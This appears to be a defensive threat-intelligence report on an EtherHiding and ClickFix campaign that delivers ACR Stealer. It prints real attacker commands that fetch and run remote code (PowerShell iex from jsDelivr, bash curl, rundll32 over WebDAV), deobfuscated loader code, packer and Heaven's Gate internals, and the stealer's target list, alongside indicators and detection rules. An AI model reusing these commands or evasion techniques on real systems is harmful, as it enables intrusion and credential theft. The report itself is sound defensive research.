August 11, 2026 · Applied Cybernetics Group
EtherHiding on BSC Testnet: an On-Chain Conversion Registry Keyed by Visitor IP
A high-traffic US consumer site was serving a rogue Google Tag Manager container that delivered a ClickFix lure. Payloads were stored in smart contracts on BNB Smart Chain testnet, not mainnet, which makes hosting and updates free.
Two things matter more than the intrusion.
The operator runs a fourth contract that stores no payload. It is a conversion registry keyed by the visitor’s public IP, queried by the final-stage JavaScript as isGoalReached(ip) to decide whether to show the lure. It is world-readable.
And this defeated a scan that came back clean. Every host the page contacted resolved to a named commercial vendor — including the one serving the malware, because the malware was served from googletagmanager.com.
The affected site is unnamed here. It was still compromised at publication and had not had opportunity to remediate. All attacker-controlled indicators are published in full.
Key takeaways
- A rogue Google Tag Manager container, served from allowlisted
googletagmanager.com, delivered a ClickFix lure. Host reputation, domain age and TLS all read clean; the malicious element is the container ID, not the origin. - Payloads live in BNB Smart Chain testnet smart contracts (EtherHiding), retrieved by the page over JSON-RPC. There is no hosting to seize and no DNS to sinkhole — one owner-gated transaction updates every affected site.
- A fourth contract is a conversion registry keyed by the visitor’s public IP. It de-duplicates victims off attacker infrastructure and is world-readable, so the design chosen for resilience publishes the operator’s own results.
- The Windows binary is a five-layer packer that blinds ETW, transits Heaven’s Gate into 64-bit to run beneath 32-bit endpoint hooks, then side-loads its payload through a signed
javac.exeand injects intoexplorer.exe. The technique stack matches the HijackLoader / IDAT lineage. - Detonation confirms the chain and identifies the payload as ACR Stealer, draining browser credentials and a broad crypto-wallet set to a Cloudflare-fronted C2 resolved over DNS-over-HTTPS.
Delivery
Four GTM containers loaded. Three were legitimate. The fourth held one tag:
"tags": [{
"function": "__html",
"once_per_event": true,
"vtp_html": "<script type=\"text/gtmscript\">var _0xbb24a4=_0x43b1; ... </script>",
"tag_id": 3
}],
"predicates": [{ "function": "_eq", "arg0": ["macro", 0], "arg1": "gtm.init" }],
"rules": [[["if", 0], ["add", 0]]]
One Custom HTML tag, firing on gtm.init, no legitimate tags. That distinguishes a container built for delivery from a legitimate container that was tampered with.
It is served from googletagmanager.com over TLS with a valid certificate. Host reputation, domain age, and certificate validation all return clean. The malicious element is the container ID, not the origin.
The container was absent from server-rendered HTML and unreferenced by the legitimate containers as served. Injection is conditional: captured in one scan, not reproduced three hours later from a residential US vantage point, including on a first visit with a clean profile.
Loader
String-array obfuscation with a rotation checksum. The rotation locks when a constant-folded expression equals 174593, after which the table decodes. Behavior, deobfuscated:
document.body.addEventListener("click", function () {
if (/ru|ua/.test(navigator.languages.join().toLowerCase())) return; // skip RU/UA
if (localStorage.getItem(KEY)) return; // once per browser
localStorage.setItem(KEY, "true");
load_(CONTRACT, d => eval(atob(d)), () => {});
});
It fires on the visitor’s first click anywhere on the page, which is why passive crawling sees an idle script. The retrieval is an ordinary JSON-RPC call:
JSON.stringify({
method: "eth_call",
params: [{ to: address, data: "0x6d4ce63c" }, "latest"], // get()
id: 97, jsonrpc: "2.0"
})
Eight testnet RPC endpoints are tried in sequence.
Payload chain
Stage 2 (3,080 bytes) adds anti-analysis and OS branching:
const isHeadless = () => {
const t = [
true === navigator.webdriver,
/HeadlessChrome/.test(navigator.userAgent),
navigator.userAgent.includes("PhantomJS"),
navigator.userAgent.includes("Puppeteer"),
navigator.userAgent.includes("Playwright"),
0 === window.outerWidth && 0 === window.outerHeight,
].filter(Boolean).length;
return t >= 2 && !(window.chrome?.runtime || navigator.plugins.length > 0);
};
isHeadless() || isLocalhost()
? console.log("stop watching us :)")
: isWindows ? load_("0x1Ca902fdf2F2A26dd2a160662143029CD7D5813f")
: isMac && load_("0xe447DaDb4BFB4610882C8D6228A20F101f8933D6");
Each branch repeats the same retrieval pattern against its own contract:
try { eval(atob(await Promise.any(_u.map(_try)))) } catch {}
Stage 3 is gzip-compressed and base64-wrapped, roughly 45 KB decompressed per branch. It injects a hidden overlay rendering a counterfeit reCAPTCHA:
Windows — “Press & hold the Windows Key + R. In the verification window, press Ctrl + V. Press Enter on your keyboard to finish.”
macOS — “Open Terminal application on your Mac (Applications → Utilities → Terminal). Press Command + V. Press Enter on your keyboard to finish.”
Both display reCAPTCHA Verification ID: 146820. The clipboard is poisoned first, so the victim executes the command. No file is written; no download reputation check engages.
The macOS branch randomizes injected CSS class names where Windows uses static ones (cjs-container, cjs-m-p), suggesting macOS is the more actively maintained build.
Observed execution
The clipboard command is built inside a second obfuscated layer nested in the injected overlay. Recovering that layer’s string table yields the command directly, and the operator rotates it: between 2026-08-11 and 2026-08-13 both OS payload contracts were rewritten and the clipboard builder was re-obfuscated with a different naming scheme, while the router contract, registry contract, RPC list, lure HTML and cjs_id cookie all stayed byte-identical. They rotate delivery, not machinery.
Windows, current:
conhost --headless cmd /v:on /c "set power=shell&power!power! -nop -c
iex(irm cdn.jsdelivr.net/gh/skl-4567/Jery-8372@3198782/kj-4574)"
set power=shell followed by power!power! assembles powershell at runtime, so the literal never appears in the command line. The second stage is a 1,015-byte PowerShell script served from jsDelivr, backed by a GitHub repository — a legitimate CDN doing the hosting. It builds every offensive token from character codes:
$server = 'cbv.web-ignitra.us'
$folder = '1d41dbdc-520b-4e0e-8bf5-807705032def'
$file = 'dkfjtucnglfosrehfitlgj.dll'
$export = 'Run'
$_p = [string]::Join('', [char]64,[char]83,[char]83,[char]76) # @SSL
$_d = [string]::Join('', [char]68,[char]97,[char]118,[char]87, ... ) # DavWWWRoot
$_rd = ... # rundll32
$_pd = ... # pushd
& $_sh /d /c ($_pd + ' "' + $root + '" && ' + $_rd + ' "' + $file + '",' + $export)
Nothing in that script is greppable — @SSL, DavWWWRoot, rundll32, pushd, popd and ComSpec are all assembled at runtime. It resolves to:
pushd "\\cbv.web-ignitra.us@SSL\DavWWWRoot\1d41dbdc-520b-4e0e-8bf5-807705032def"
&& rundll32 "dkfjtucnglfosrehfitlgj.dll",Run && popd
macOS, current:
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '${usr_id}.app8k.cc/?ublib=${uuid__}')";
echo "BotGuard: Answer the protector challenge. Ref: 73282"
The trailing echo pads the terminal with a plausible-looking message so the victim sees something other than a bare prompt. Note the subdomain: ${usr_id} is the IP-derived identifier from the on-chain registry, so the same token that de-duplicates victims on-chain also identifies them to the staging host. The custom user-agent is checked server-side.
A confirmed incident chain on a Windows endpoint where a user completed the paste, from an earlier rotation of the same infrastructure:
explorer.exe
└─ conhost.exe --headless
└─ cmd.exe /v:on /c "set s=@SSL & pushd \\lcxtxjrhsljhuzhbnq.keyslimdrops-com.com!s!\f06a12f0-ebc6-4e09-8068-ec564632a27d & rundll32 nqemhptjymbhkaiskiof.dll,Run"
Four separate evasions in one line.
conhost.exe --headless suppresses the console window. The victim pastes, presses Enter, and sees nothing happen. It also breaks parent-process assumptions: cmd.exe descends from conhost.exe, not from explorer.exe, so a rule anchored on “interpreter whose parent is explorer.exe” does not fire.
Delayed expansion splits the UNC string. cmd /v:on enables runtime variable expansion; set s=@SSL then !s! reassembles @SSL only at execution. The literal @SSL never appears contiguously in the command line as typed, defeating naive string matching on the WebDAV marker.
@SSL is WebDAV over HTTPS. The \\host@SSL\path form mounts a remote share over TLS on 443. There is no download in the conventional sense — no browser, no file write to disk that reputation controls inspect — and the traffic leaves as ordinary HTTPS.
rundll32 <dll>,Run executes the staged DLL through a signed Microsoft binary (T1218.011), so the process that ultimately runs attacker code is on every allowlist.
The infrastructure is disposable and pattern-consistent: a random-alphabetic subdomain (lcxtxjrhsljhuzhbnq), a lookalike registrable domain that embeds a real brand with the dot replaced by a hyphen (keyslimdrops-com.com for keyslimdrops.com), a GUID path segment, and a random-alphabetic DLL name. Expect all four to rotate per victim or per campaign; the shapes are the durable indicator, not the values.
Contract topology
Step back from the client side to the infrastructure that serves it. Everything the JavaScript retrieves lives in four smart contracts on BSC testnet.
One externally owned account owns everything:
0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290
nonce 612,345
balance 321.65 tBNB
The three payload contracts are identical in size (2,054 bytes) and selector set — a mass-deployed template:
0x8da5cb5b owner()
0x4ed3885e set(string) payload write, owner-gated
0x6d4ce63c get() payload read
Storage is slot 0 = owner, slot 1 = payload string. Solidity encodes long-string slots as length*2+1, which cross-checks each decoded payload:
slot0 0x000000000000000000000000d71f4cdc84420d2bd07f50787b4f998b4c2d5290
slot1 0x0000000000000000000000000000000000000000000000000000000000001811
0x1811 = 6161 = (3080 * 2) + 1 -> matches the 3,080-byte stage-2 payload
Because set(string) is owner-gated, one signed transaction replaces the payload on every affected site. There is no hosting to seize and no DNS to sinkhole.
The nonce includes deployments, payload updates, and registry writes. It is not a victim count, though it bounds interaction volume.
The conversion registry
The fourth contract stores no payload. Scanning live blocks caught a write:
to 0xf4a32588b50a59a82fbA148d436081A48d80832A
sel 0x5c61fc2c
w0 0000000000000000000000000000000000000000000000000000000000000020 offset
w1 000000000000000000000000000000000000000000000000000000000000000b length 11
w2 33352e3135312e362e3432000000000000000000000000000000000000000000 "35.151.6.42"
An IPv4 address, ABI-encoded as a string. Reading it back through 0x24513bb6(string):
| Probe | Returns |
|---|---|
35.151.6.42 (just written by the operator) | "yes" |
1.2.3.4 | "yes" |
8.8.8.8 | "no" |
35.151.6.43 | "no" |
A sparse per-IP lookup, not a fallback. The final-stage JavaScript names the mechanism:
function generateId() {
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://ip-info.ff.avast.com/v2/info', false);
xhr.send();
if (xhr.status === 200) return JSON.parse(xhr.responseText).ip;
return generateUUID();
}
function getUserID() {
let e = getCookie("cjs_id");
return e || (e = generateId(), setCookie("cjs_id", e, 2)), e;
}
async function isGoalReached(e) { /* eth_call 0xf4a32588... */ return "yes" == value }
The visitor’s public IP is fetched from Avast’s IP-info endpoint — abused as a free IP oracle; Avast is not complicit — and becomes the user ID, cached in a cjs_id cookie for two days. The payload asks the chain whether that IP already converted. "yes" suppresses the lure, "no" shows it. On success the IP is written back.
The operator also runs Yandex Metrica counter 110882653 with a reachGoal('Click') event on the lure, measuring the funnel as a conversion rate.
Two consequences. Victim de-duplication moves off attacker infrastructure entirely, so there is no campaign database to seize. And the state is public — anyone with an RPC endpoint can query whether an address has been marked converted. The design chosen for resilience publishes the operator’s results.
Why testnet
Reported EtherHiding activity has run on BSC mainnet. Testnet is a cost decision. Faucet-supplied tBNB makes payload hosting and 612,345 state-writing transactions free, where the same activity on mainnet is a recurring expense. Testnet nodes also draw less attention from chain-analytics vendors.
The staged DLL
Back on the endpoint. The DLL the clipboard command fetches over WebDAV is where the depth is — five layers of obfuscation over a 64-bit stealer.
The WebDAV share was still serving at time of writing. Retrieved for static analysis; never executed.
sha256 3820867f33e6e595eb1c1856266f76759cd6cfae757ae92f31fe36bb0d339c9f
md5 6aa94338b4cf2f6c56cadb284da910e3
size 6,174,208 bytes
type PE32 DLL, i386, 9 sections, GCC/MinGW toolchain
built 2026-08-12T22:32:38Z
export Run (single export — matches rundll32 <dll>,Run)
imports KERNEL32 (15), msvcrt (25)
It is a loader, and the shape says so before any disassembly. Of 5.9 MB, only 29 KB is executable code. The imports are minimal and include LoadLibraryA and GetProcAddress, so real API resolution happens at runtime and the import table reveals nothing.
The bulk is padding and hidden data. .data carries 4.3 MB and .reloc carries 1.76 MB — but parsing .reloc as actual relocation blocks consumes only 65 KB of that 1.76 MB. The remaining 1.69 MB is an embedded blob wearing a section name that most triage tooling skips. The file size itself is defensive: many scanners and sandbox upload paths cap well below 6 MB.
The build timestamp is the day before retrieval, consistent with the payload rotation observed on-chain.
Unpacking
Five layers sit between the export and the payload. None of them needs the sample to run: every key, table and length is in the file, and the one construct that looks like it requires execution turns out to be a check rather than a transform.
Layer 1 — a substitution table pretending to be data
Run is twelve instructions: call a worker, Sleep(1000), return 0. The worker marks 874,098 bytes of .data RWX via VirtualProtect, then rebuilds them one byte at a time:
for (i = 0; i <= 0xd5a72; i++)
for (j = 0; j < 256; j++)
if (tokens[i] == table[j]) { out[i] = j; break; }
Each output byte is stored as a 4-byte token, and its plaintext value is that token’s index in a 256-entry table. The 4x expansion is the entire reason .data is 4.3 MB. The decoded buffer is then called directly.
Layer 2 — an anti-emulation guard, not a decoder
The recovered 875 KB opens with a NOP sled and a stub that reads like a decryption routine and is not one. Its inner loop is arithmetic that cancels:
add eax,ecx ; \
add ecx,1 ; | net effect on eax across the
inc eax ; | whole loop: none
sub eax,ecx ; /
cmp ecx,edi ; edi = 0x00ffffff
jne <top>
254 outer passes over 16,777,215 inner iterations — 4.26 billion iterations that compute nothing. It is a stall, but the stall is load-bearing. Each pass writes a decrementing counter byte over the instruction immediately following the stub, and only a complete run leaves the correct value there:
before: ff 90 90 90 ... -> call DWORD PTR [eax-0x6f6f6f70] faults
after: 90 90 90 90 ... -> nop, falls into the real decoder
An emulator that short-circuits the loop, or a sandbox that stops watching before it finishes, never applies the patch and runs into a fault instead. The timeout is the check, which is a cheaper trick than a timing API call and does not look like anti-analysis in an import table.
Layer 3 — per-block XOR
The real decoder follows. The payload is a run of 33-byte records — one key byte, then 32 bytes XORed against it — terminated by a 0x3FED3FED sentinel that is tested before every byte, so it can land mid-record. Rolling the key per block is what keeps the blob at ~7.9 entropy with no recognisable header.
That yields 848 KB: roughly 32 KB of x86 followed by a container.
Layer 4 — the CHOC container
+0x00 'CHOC'
+0x20 total size, header included 803,371
+0x24 key byte 0xa7
+0x28 ciphertext
The cipher chains each output byte into the next, so one byte of key covers 803 KB:
plain[i] = (plain[i - 1] + key) ^ cipher[i]; /* plain[-1] = 0 */
Layer 5 — LZNT1, borrowed from the OS
The decrypted body is RunWrapper\0, a 4-byte length, then a compressed stream. The sample carries no decompressor: it resolves ntdll!RtlDecompressBuffer and passes format word 0x102 — COMPRESSION_FORMAT_LZNT1 with COMPRESSION_ENGINE_MAXIMUM. Letting Windows do the decompression keeps a recognisable algorithm out of the binary, and explains the ntdll string built on the stack.
211 chunks decompress to 861,184 bytes, exactly the declared size.
The payload
sha256 198384beacd54baa4b0b176019db5052a231cbfce4b8ea184e16ee0033678c76
md5 57d3008c55eafb92898808dbec49b039
size 861,184 bytes
type PE32 DLL, i386, 4 sections
export RunWrapper
internal po_wrapper32.dll
imports KERNEL32 only, 10 functions
compiled 2025-04-06
The import list is the tell. Five of the ten are the MSVC __security_init_cookie set. What remains is IsDebuggerPresent, GetEnvironmentVariableA, CloseHandle, GetLastError and SetLastError. Everything the payload actually does is resolved at runtime.
.text is 792 KB at ~7.1 entropy end to end, which is too high for compiled code and too low for encryption. The disassembly explains it:
mov DWORD PTR [esp],eax
mov ecx,DWORD PTR [esp]
xor ecx,eax ; ecx = 0
add ecx,DWORD PTR [esp+0x4]
mov DWORD PTR [esp+0x8],ecx
mov ecx,DWORD PTR [esp]
sub ecx,DWORD PTR [esp+0x8]
Junk arithmetic that nets to nothing, threaded through the real logic — mixed boolean-arithmetic obfuscation, applied heavily enough to inflate 792 KB of .text while .data is zero length.
Four strings survive in the intermediate stage, each assembled character by character on the stack in scrambled order and then sorted by a fixed permutation loop:
COMPlus_ETWEnabled
ntdll
kernel32.dll
python
COMPlus_ETWEnabled is the CLR’s ETW kill switch. Setting it to 0 makes the .NET runtime skip its ETW provider registration, so managed telemetry — assembly loads, JIT — never emits, and because it is an environment variable it inherits into every child process the loader spawns. It is paired with GetEnvironmentVariableA in the imports.
Into 64-bit
RunWrapper is not the bottom either. It decrypts a third stage and runs it.
The decryptor is a self-contained routine in the loader: it hex-decodes a 21,504-character string into a 10,752-byte ciphertext, XOR-folds three arrays into a 32-byte key, and runs a symmetric stream cipher — k = key[ctr & 31]; state = (state*33 + ctr + k) & 0xff; out = in ^ state ^ k, initial state 0xA7. That decrypts to a native, position-independent PE, 861 KB, no import table, no strings, built the same day as the dropper.
This stage resolves its APIs the same way the loader does — by hashing export names walked from the PEB rather than importing them. The hash is a *33-accumulate construction (DJB2 family); reimplementing it and running a dictionary of real export names against it resolves the call surface. Confirmed so far: VirtualAlloc, VirtualFree, CreateProcessW from kernel32, LdrLoadDll from ntdll, and library loads from bcrypt.
Then it does the thing that matters:
mov eax, ds:0x405010 ; encoded 64-bit function address
xor eax, 0x03109e48 ; decode
mov ecx, fs:0xc0 ; WOW32Reserved -> wow64cpu.dll transition
call ecx ; enter 64-bit mode, call the 64-bit API
ret 0x28 ; caller cleans the args
fs:0xc0 is WOW32Reserved in the 32-bit TEB — the pointer WOW64 itself uses to switch a process from 32-bit compatibility mode into native 64-bit long mode. This is Heaven’s Gate. There are twenty of these thunks, one per wrapped 64-bit call. The stage is a 32-bit PE that reaches around the 32-bit ntdll entirely and calls the 64-bit ntdll/kernel32 directly.
That is the point of the whole construction. Endpoint tooling that hooks the WOW64 (32-bit) API layer — where inline hooks on a 32-bit process live — never sees these calls, because the code transits into 64-bit mode and calls the 64-bit syscall stubs the hooks were never placed on. Combined with the ETW blind, the debugger check, the hash-resolved imports and the absent import tables, the payload runs its real work below the visibility of a monitor that assumes a WOW64 process behaves like one.
The technique stack — LZNT1 via RtlDecompressBuffer, Heaven’s Gate for 64-bit execution, PEB-walk hash resolution, a magic-tagged container guarding a keystream-decrypted payload — is the profile of the HijackLoader / IDAT Loader lineage. The distinctive artifacts here (CHOC container magic, internal name po_wrapper32.dll, export RunWrapper) do not appear in public reporting for that family or any other, so this reads as an undocumented crypter that shares the lineage’s tradecraft rather than a confirmed match. It is treated as unattributed.
Detonation
Static analysis stops at the Heaven’s Gate primitive. A sandbox run of the dropper carries it the rest of the way, and confirms the static chain from the other side.
The process tree is the loader’s whole design in one view:
cmd -> rundll32 dropper.dll,Run (32-bit, SysWOW64)
-> explorer.exe (32-bit SysWOW64 explorer, spawned and injected)
-> javac.exe (dropped to %TEMP%, a legitimate signed binary)
Two mechanisms the static read predicted, now observed. The loader spawns a 32-bit SysWOW64\explorer.exe and writes its payload into that foreign process — the CreateProcessW-plus-injection surface the third stage resolved. And it drops a legitimate signed javac.exe next to a malicious jli.dll in a temp directory and runs the former: javac.exe loads jli.dll from its own directory by search order, so the malicious code executes inside a trusted, signed host. That jli.dll is a 64-bit DLL — the destination the Heaven’s Gate transition existed to reach.
The stages the sandbox dropped to disk match the ones recovered statically. The 10,752-byte temp file it writes is a PE32 i386 with four sections carrying the 64 8b 0d c0 (mov ecx, fs:0xc0) gate bytes — the same third-stage structure decrypted above, with rotated content. The loader behaves exactly as the static chain describes; only the payload bytes had rotated. Alongside it sits a 611 KB 32-bit injector stage — KERNEL32-only imports, near-zero plaintext strings, and a single meaningful API, NtCreateProcessEx, the low-level process-creation primitive it uses to stand up the side-load. Runtime exposes more stages than the static chain did; they are the same obfuscation posture throughout.
The jli.dll is ACR Stealer (YARA JoeSecurity_ACRStealer, matched in the unpacked explorer.exe memory; AV TR/W64.MalwareX). It harvests browser credentials and cookies from Chromium and Gecko profiles, then sweeps a broad wallet target list — wallet.dat, Electrum, Exodus, Atomic, Ledger, Trezor, MetaMask, along with seed, mnemonic and keystore files — plus KeePass .kdbx, FileZilla, Telegram, Discord, Steam and Authy. It exfiltrates over TLS to barmaidlushness.cc and media.barmaidlushness.cc, resolving the C2 through DNS-over-HTTPS to dns.google so the lookup never appears in plaintext DNS.
So the full arc: EtherHiding delivers a ClickFix lure; the lure stages a crypter; the crypter unpacks five layers, blinds ETW, and transits Heaven’s Gate into 64-bit; the 64-bit stage sideloads ACR Stealer through a signed javac.exe and injects into explorer.exe; ACR Stealer drains browsers and wallets to a Cloudflare-fronted C2. The delivery is consistent with the UNC5142 / ClearFake EtherHiding cluster, which operates as distribution-as-a-service — so the stealer is plausibly a customer’s payload, not the delivery operator’s own.
The stealer config
jli.dll is a .NET NativeAOT binary — .managed and hydrated sections, bcrypt and Secur32 imports — and it stores its configuration AES-GCM encrypted: the C2, the build id and the target list are absent from the file as plaintext or UTF-16. The config decrypts into the injected explorer.exe, and that is where it was recovered.
The C2 protocol:
POST /<random-path> HTTP/1.1 one-time random path per request
Host: media.barmaidlushness.cc also a.barmaidlushness.cc
Content-Type: application/octet-stream encrypted loot body (16-30 KB observed)
User-Agent: Mozilla/5.0 ... Chrome/134.2.6187.130 Safari/537.36 spoofed
Name resolution runs over DNS-over-HTTPS (POST /dns-query, Accept: application/dns-message), and a /jquery.min.js request is mixed in as cover. The check-in is JSON:
{ "Id": "019fd857-3f03-755f-9497-110061ed4da0", // per-run session (UUIDv7)
"o": "f1575b64-8492-4e8b-b102-4d26e8c70371", // build / campaign id
"hi": "<hostname><hardware-uuid>" } // host identity
The build id f1575b64-… is the durable operator tag; the session Id is per-run. The wildcard *.barmaidlushness.cc certificate is Google Trust Services (WE1), issued 2026-07-24 — three weeks before this intrusion, which is what “freshly registered” looks like in practice.
The target list, decrypted, is the standard broad-spectrum stealer sweep: Chromium credential stores (Local State, Login Data, Web Data, Network\Cookies, across Chrome, Edge and Opera GX) and Gecko equivalents (key4.db, logins.json); 15+ crypto-wallet browser extensions by ID (MetaMask nkbihfbeogaeaoehlefnkodbefgpgknn among them); desktop wallets Exodus, Electrum, Atomic, Ledger Live, Trezor, Coinomi, Guarda, Jaxx, Phantom, Keplr and Monero; the password managers KeePass, Bitwarden, 1Password and NordPass; Telegram, Signal, Discord, Steam and Tox; FileZilla; and Outlook and Thunderbird mail.
The static blob was not decrypted from the binary directly — pulling the AES-GCM key out of the NativeAOT image is a separate exercise — but the operational config above is the ground truth the sample ran on.
Detection
Detection cannot rest on a single parent-child relationship. The Windows rule published with this piece matches any one of four conditions: an explorer-parented interpreter carrying a download cradle, conhost.exe --headless spawned by explorer.exe, any command line referencing an @SSL or DavWWWRoot WebDAV path, or a PowerShell cradle pulling from a code CDN such as jsDelivr or raw.githubusercontent.com.
Tested against the live chain, the conhost condition fires on stage one and the WebDAV condition fires on stage three. Each stage is caught independently, which matters because the operator has already demonstrated that they rotate stages.
Rules
| Rule | Covers |
|---|---|
t1195-002-unapproved-gtm-container-injection | rogue container retrieval |
t1102-001-etherhiding-bsc-testnet-dead-drop | on-chain payload retrieval |
t1204-004-clickfix-run-dialog-execution | Windows execution stage |
t1204-004-clickfix-macos-terminal-execution | macOS execution stage |
t1055-rundll32-spawning-explorer-injection | rundll32 spawning explorer as an injection host |
t1574-002-signed-javac-sideload-jli | signed javac.exe side-loading jli.dll from a writable path |
t1071-004-doh-resolver-non-browser-c2 | DNS-over-HTTPS from a non-browser process |
The RPC-hostname selection is the durable half. Contract addresses and the container ID are campaign-scoped and will rotate.
The first four cover the delivery and the ClickFix execution stage. The last three are the host-based behaviors the detonation surfaced, each robust to the payload rotation: rundll32.exe spawning explorer.exe as an injection host; a signed javac.exe loading jli.dll from a user-writable %TEMP% path; and a non-browser process resolving its C2 over DNS-over-HTTPS before beaconing TLS to a freshly registered Cloudflare-fronted domain. None depend on a hash, domain, or contract address that rotates — they anchor on process lineage, load path, and behavior.
The generalizable control is a GTM container allowlist: alert on any container ID retrieved by your properties that is not on an approved list. An allowlisted vendor domain is not an integrity signal when that vendor hosts arbitrary customer-supplied JavaScript.
Attribution
Separate the delivery operator from the payload. The delivery looks like UNC5142: EtherHiding on BSC, a ClickFix lure, template contracts exposing owner/set/get, and a CIS-language exclusion all match publicly reported tradecraft. It is not established as UNC5142 — the technique is publicly documented and therefore copyable, and the testnet choice departs from what has been reported. Read this as a description of what the infrastructure resembles, not as a naming. UNC5142 is reported to operate as distribution-as-a-service, which fits: the operator delivers, the payload is likely a customer’s.
The loader matches the HijackLoader / IDAT lineage by technique, without a confirmed artifact match. The payload is ACR Stealer — a confirmed YARA and AV identification, not an inference.
ATT&CK
| Tactic | Technique | Where |
|---|---|---|
| Initial Access | T1195.002 Supply Chain — software | rogue GTM container on allowlisted origin |
| Command & Control | T1102.001 Dead Drop Resolver | payloads in BSC testnet contracts |
| Execution | T1204.004 Malicious Copy & Paste | ClickFix Run-dialog / Terminal lure |
| Defense Evasion | T1218.011 Rundll32 | rundll32 <dll>,Run proxy execution |
| Command & Control | T1105 Ingress Tool Transfer | WebDAV-over-HTTPS staging |
| Defense Evasion | T1027.007 Dynamic API Resolution | PEB-walk export-name hashing |
| Defense Evasion | T1055 Process Injection | injection into spawned explorer.exe |
| Defense Evasion | T1620 Reflective Code Loading | in-memory PE stages, Heaven’s Gate to 64-bit |
| Defense Evasion | T1574.002 DLL Side-Loading | signed javac.exe loads malicious jli.dll |
| Defense Evasion | T1562.006 Indicator Blocking | COMPlus_ETWEnabled ETW blind |
| Defense Evasion | T1497 Sandbox Evasion | anti-emulation stall / self-patch gate |
| Credential Access | T1555.003 Credentials from Browsers | ACR Stealer browser harvest |
| Collection | T1005 Data from Local System | wallet, KeePass, FileZilla, Telegram theft |
| Command & Control | T1573 Encrypted Channel | TLS C2, DoH resolution |
| Exfiltration | T1041 Exfiltration Over C2 | exfil to barmaidlushness.cc |
Indicators
Web
GTM-PJB7D937 rogue GTM container
cookie: cjs_id two-day victim marker
CSS: cjs-container, cjs-m-p, checkbox-window
Yandex Metrica counter: 110882653
lure string: "reCAPTCHA Verification ID: 146820"
https://ip-info.ff.avast.com/v2/info abused IP oracle
Post-execution — current as of 2026-08-13
web-ignitra.us Windows staging domain
cbv.web-ignitra.us WebDAV host (Cloudflare-fronted)
1d41dbdc-520b-4e0e-8bf5-807705032def GUID share path
dkfjtucnglfosrehfitlgj.dll staged loader
app8k.cc macOS staging domain; payload gated by isGoalReached(usr_id), served only to converted victims. Bare host is a Vietnamese '8KBET' gambling cover page pushing an Android APK and an iOS .mobileconfig profile.
cdn.jsdelivr.net/gh/skl-4567/Jery-8372@3198782/kj-4574 PowerShell stage
github.com/skl-4567/Jery-8372 repo backing the jsDelivr path
Post-execution — earlier rotation (confirmed incident)
keyslimdrops-com.com lookalike staging domain
lcxtxjrhsljhuzhbnq.keyslimdrops-com.com WebDAV host
f06a12f0-ebc6-4e09-8068-ec564632a27d GUID share path
nqemhptjymbhkaiskiof.dll staged loader
Samples — staged loader and recovered payload
3820867f33e6e595eb1c1856266f76759cd6cfae757ae92f31fe36bb0d339c9f staged DLL, sha256
6aa94338b4cf2f6c56cadb284da910e3 staged DLL, md5
198384beacd54baa4b0b176019db5052a231cbfce4b8ea184e16ee0033678c76 loader (po_wrapper32.dll), sha256
57d3008c55eafb92898808dbec49b039 loader, md5
ab7a817f0258b0ff98e17b417818060a6a9cc2dead8f44c9dc0c19177ceb7403 stage 3 (Heaven's Gate), sha256
po_wrapper32.dll payload internal name
RunWrapper payload export
CHOC container magic, offset 0 of header
0x3FED3FED XOR-block terminator sentinel
Final payload — ACR Stealer (dynamic analysis)
barmaidlushness.cc C2, TLS
media.barmaidlushness.cc C2 (POST loot), TLS
a.barmaidlushness.cc C2, TLS
*.barmaidlushness.cc GTS WE1 wildcard cert, issued 2026-07-24
f1575b64-8492-4e8b-b102-4d26e8c70371 ACR build / campaign id ("o" field)
POST /<random> application/octet-stream exfil request shape
POST /dns-query Accept: application/dns-message DNS-over-HTTPS resolution
/jquery.min.js decoy request
Chrome/134.2.6187.130 (spoofed User-Agent) beacon UA
dns.google (8.8.8.8:443) DNS-over-HTTPS resolver for C2
7133e836ffd3348571087db2a76fd5e3d4286599dcde98fe28427b1bc653192b jli.dll (ACR Stealer, x64 NativeAOT), sha256
94c73bbbbf1bf15b0c2ecf9ae8f7f4daa053a56a8f36271839ae9b38865abb32 javac.exe (legit sideload host), sha256
f1ceac2e5d84ad8d564e2180ece37b90 javac.exe, md5
047d4a22451027e6b351b49c0357caa8604ade070332eeeb589c937c6aaa5b24 32-bit injector stage (PE32 i386), sha256
841a1056f8846de20673a6b69b22f40d injector stage, md5
%TEMP%\wz4zk2*\javac.exe + jli.dll DLL side-loading pair
SysWOW64\explorer.exe injection target (spawned)
The javac.exe / jli.dll pair is DLL side-loading (T1574.002): a signed launcher loads the malicious jli.dll by search order. ACR Stealer runs inside the injected explorer.exe and drains browser credentials and a broad crypto-wallet set (wallet.dat, Electrum, Exodus, Atomic, Ledger, Trezor, MetaMask, seed/mnemonic/keystore), plus KeePass, FileZilla, Telegram, Discord, Steam and Authy.
Behavioral — durable across rotations
conhost.exe --headless console suppression, spawned by explorer.exe
@SSL / DavWWWRoot WebDAV-over-HTTPS UNC markers
cmd /v:on with set + !var! delayed expansion splitting @SSL and powershell
rundll32 <dll>,Run signed-binary proxy execution of the staged loader
Domains, subdomains, GUIDs, DLL names and file hashes are disposable — every one of them changed between 2026-08-11 and 2026-08-13. The durable indicators are the shapes: random-alphabetic labels, hyphen-for-dot brand lookalikes, ${usr_id} as a subdomain, and the conhost --headless plus @SSL pair.
Chain — BNB Smart Chain testnet, chainId 97
0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 operator EOA
0xDA4E1D62c974d20C870343F540BEbfAAC779ED66 stage-2 router
0x1Ca902fdf2F2A26dd2a160662143029CD7D5813f stage-3 Windows
0xe447DaDb4BFB4610882C8D6228A20F101f8933D6 stage-3 macOS
0xf4a32588b50a59a82fbA148d436081A48d80832A conversion registry
35.151.6.42 IP observed written to registry
Selectors
0x8da5cb5b owner()
0x4ed3885e set(string) payload write, owner-gated
0x6d4ce63c get() payload read
0x24513bb6 <unnamed>(string) registry read, returns "yes"|"no"
0x5c61fc2c <unnamed>(string) registry write (IP)
0xee8f6031 <unnamed> reverts on string argument, unresolved
The three registry selectors are absent from 4byte.directory and did not resolve against a ~500-candidate wordlist.
RPC endpoints
bsc-testnet-rpc.publicnode.com bsc-testnet.drpc.org
bsc-testnet-dataseed.bnbchain.org bnb-testnet.api.onfinality.io
data-seed-prebsc-1-s1.binance.org data-seed-prebsc-1-s1.bnbchain.org
data-seed-prebsc-2-s1.binance.org data-seed-prebsc-2-s2.binance.org